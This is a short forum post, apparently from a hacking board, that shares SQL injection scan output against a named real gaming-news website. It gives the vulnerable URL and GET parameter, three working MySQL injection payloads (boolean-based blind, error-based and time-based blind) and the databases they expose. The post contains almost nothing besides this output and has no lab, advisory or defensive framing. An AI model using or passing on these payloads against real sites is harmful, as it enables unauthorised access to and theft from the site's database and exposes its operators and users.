Keine Antworten in diesem Thema

[Ch!ller]

http://www.games-news.de/gotosource/?id=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1) AND 5578=5578 AND (6638=6638

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1) AND (SELECT 9912 FROM(SELECT COUNT(*),CONCAT(0x717a6b7171,(SELECT (CASE WHEN (9912=9912) THEN 1 ELSE 0 END)),0x716b706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7657=7657

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: id=-6812) OR 7792=SLEEP(5) AND (1854=1854
---
back-end DBMS: MySQL 5.0
available databases [2]:
[*] gamesnews
[*] information_schema